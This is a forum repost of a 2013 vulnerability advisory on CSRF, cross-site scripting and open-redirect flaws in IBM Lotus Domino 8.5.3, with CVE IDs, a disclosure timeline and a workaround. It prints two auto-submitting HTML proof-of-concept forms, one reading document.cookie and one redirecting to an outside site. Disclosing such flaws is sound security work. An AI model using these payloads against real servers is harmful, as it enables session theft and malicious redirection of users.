Praetorian503 Posted February 16, 2013 Report Posted February 16, 2013 IBM Lotus Domino version 8.5.3 suffers from cross site request forgery, cross site scripting, and redirection vulnerabilities.Hello list!These are Cross-Site Request Forgery, Cross-Site Scripting and Redirectorvulnerabilities in IBM Lotus Domino. At 30th of November IBM released theadvisory concerning these vulnerabilities.CVE ID: CVE-2012-4842, CVE-2012-4844.SecurityVulns ID: 12789.IBM Security Bulletin for Open Redirect and Cross-Site Scriptingvulnerabilities:http://www-01.ibm.com/support/docview.wss?uid=swg21608160-------------------------Affected products:-------------------------Vulnerable are IBM Lotus Domino 8.5.3 and previous versions. Thesevulnerabilities will be fixed in Domino 9.0 and IBM are still working onother vulnerabilities, about which I've informed them. Lotus Domino 9.0should be released at 14.03.2013.Before release of new version all users of affected versions of IBM LotusDomino are vulnerable to these attacks. And IBM didn't fix these holes incurrent 8.5.x series, only in new 9.0 series. At that they didn't offer anyworkaround or mitigation for these issues. But I'll offer such workaround(see bellow), which can be used before release of version 9.0 with fixes ofthese vulnerabilities.----------Details:----------Cross-Site Request Forgery (WASC-09):Lack of captcha in login form (http://site/names.nsf) can be used fordifferent attacks - for CSRF-attack to login into account (remote login - toconduct attacks on vulnerabilities inside of account), for XSS attacks, forredirect, for Brute Force (which I described in other advisory) and otherautomated attacks. Which you can read about in the article "Attacks onunprotected login forms"(http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2011-April/007773.html).Examples of attacks on XSS and Redirector vulnerabilities with using of thisCSRF vulnerability are provided bellow.Cross-Site Scripting (WASC-08):For attack it's needed to use working login and password at the site (i.e.the attacker needs to use existent account at the site - his own orsomeone's account, to which he got access via Brute Force vulnerability).Exploit:http://websecurity.com.ua/uploads/2013/IBM%20Lotus%20Domino%20Redirector.html<body onLoad="document.hack.submit()"><form name="hack" action="http://site/names.nsf?Login" method="post"><input type="hidden" name="Username" value="login"><input type="hidden" name="Password" value="password"><input type="hidden" name="RedirectTo"value="javascript:alert(document.cookie)"></form></body>Redirector (URL Redirector Abuse) (WASC-38):For attack it's needed to use working login and password at the site (i.e.the attacker needs to use existent account at the site - his own orsomeone's account, to which he got access via Brute Force vulnerability).Exploit:http://websecurity.com.ua/uploads/2013/IBM%20Lotus%20Domino%20Redirector.html<body onLoad="document.hack.submit()"><form name="hack" action=http://site/names.nsf?Login method="post"><input type="hidden" name="Username" value="login"><input type="hidden" name="Password" value="password"><input type="hidden" name="RedirectTo" value="http://websecurity.com.ua"></form></body>-----------------Workaround:-----------------My workaround for these vulnerabilities is the next: turn off html-form forlogin and use Basic Authentication instead.------------Timeline:------------ Full timeline read in the first advisory(http://securityvulns.ru/docs28474.html).- During 16.05-20.05 I've wrote announcements about multiple vulnerabilitiesin IBM software at my site.- During 16.05-20.05 I've wrote five advisories via contact form at IBMsite.- At 31.05 I've resend five advisories to IBM PSIRT, which they received andsaid they would send them to the developers (of Lotus products).- At 30.11.2012 IBM released their advisory (about Cross-Site Scripting andRedirector holes).- At 14.12.2012 I've informed SecurityVulns about it.- At 15.02.2013 I've disclosed these vulnerabilities at my site(http://websecurity.com.ua/5835/).Best wishes & regards,MustLiveAdministrator of Websecurity web sitehttp://websecurity.com.ua Source: PacketStorm Quote
